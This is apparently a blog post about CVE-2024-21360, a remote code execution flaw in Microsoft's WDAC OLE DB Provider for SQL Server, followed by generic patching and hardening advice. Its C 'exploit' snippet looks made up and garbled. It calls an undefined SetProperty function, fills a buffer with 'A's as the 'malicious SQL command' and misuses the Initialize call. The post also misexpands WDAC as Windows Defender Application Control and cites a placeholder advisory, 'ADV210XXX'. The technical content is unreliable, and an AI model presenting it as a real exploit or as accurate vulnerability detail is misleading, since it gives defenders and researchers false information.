CVE-2024-21360: Microsoft WDAC OLE DB Provider for SQL Server Remote Code Execution Vulnerability Explained

CVE-2024-21360 is a critical remote code execution vulnerability that affects Microsoft Windows Defender Application Control (WDAC) Object Linking and Embedding (OLE) DB Provider for SQL Server. This blog post delves into the exploit details, code snippets, and original references to help you understand the vulnerability and take preventive measures. Remote code execution vulnerabilities like this one allow an attacker to execute arbitrary code on a targeted system, potentially leading to a system compromise.

Exploit Details

The CVE-2024-21360 vulnerability is caused by a failure to properly validate user input. The WDAC OLE DB Provider allows developers to access SQL Server databases using the OLE DB technology, an essential component of the Microsoft Data Access Components (MDAC) stack. When the OLE DB Provider processes a specially crafted SQL command, it may trigger this vulnerability, successfully executing malicious code on the system.

The following code snippet demonstrates an exploit that takes advantage of the CVE-2024-21360 vulnerability:

// Exploit-CVE-2024-21360.c

#include <windows.h>
#include <stdio.h>

#define BUFFERSIZE 1024

int main(void) {
    HRESULT hr;
    IDBInitialize *pIDBInitialize = NULL;
    IDBCreateSession *pIDBCreateSession = NULL;
    
    // Initialize the OLE DB Provider
    hr = CoInitialize(NULL);
    
    CLSID clsid;
    hr = CLSIDFromProgID(L"MSDASQL.1", &clsid);

    // Instantiate the WDAC OLE DB Provider object
    hr = CoCreateInstance(&clsid, NULL, CLSCTX_INPROC_SERVER, &IID_IDBInitialize, (void**)&pIDBInitialize);
    if (FAILED(hr)) {
        printf("Failed to create the OLE DB Provider instance\n");
        return hr;
    }

    // Craft a malicious SQL command
    char command[BUFFERSIZE];
    memset(command, 'A', BUFFERSIZE);

    // Set properties for the SQL command
    DBPROPSET* pProps = NULL;
    hr = SetProperty(DBPROP_INIT_DATASOURCE, DBPROPSET_DBINIT, &pProps, L"sqLOLEDB");
    hr |= SetProperty(DBPROP_INIT_PROVIDERSTRING, DBPROPSET_DBINIT, &pProps, command);

    // Execute the malicious SQL command
    hr = pIDBInitialize->lpVtbl->Initialize(pIDBInitialize, 1, pProps);
}

When an attacker exploits the CVE-2024-21360 vulnerability, they could gain the same privileges as the current user. If the user has administrative rights, the attacker can take complete control of the system.

Original References

1. Official CVE Details: CVE-2024-21360
2. Microsoft Security Advisory: ADV210XXX
3. National Vulnerability Database (NVD): CVE-2024-21360

To protect your systems from the CVE-2024-21360 vulnerability, follow these steps

1. Apply the latest updates and patches provided by Microsoft: Ensure that you keep your system up-to-date with the latest security patches and updates available from Microsoft. The relevant security advisory (ADV210XXX) contains details on the available patches.

2. Limit user privileges: To reduce the potential impact of a successful exploit, limit the privileges of users who interact with the affected OLE DB Provider for SQL Server. This reduces the attacker's ability to control the system entirely.

3. Use network segmentation and proper firewall rules: Ensuring that only authorized users can access the affected systems will reduce the likelihood of a successful attack.

4. Monitor for signs of malicious activity: Regularly monitor your systems and network for unusual activities, such as unauthorized access attempts, unexpected network traffic, or unusual application behavior.

5. Educate users about safe computing practices: Encourage employees to report suspicious emails, attachments, and other potentially unsafe content to reduce the overall attack surface of your organization.

Stay safe and ensure you have the appropriate measures in place to protect against CVE-2024-21360 and similar remote code execution vulnerabilities.

Timeline

Published on: 02/13/2024 18:15:52 UTC
Last modified on: 02/13/2024 18:22:53 UTC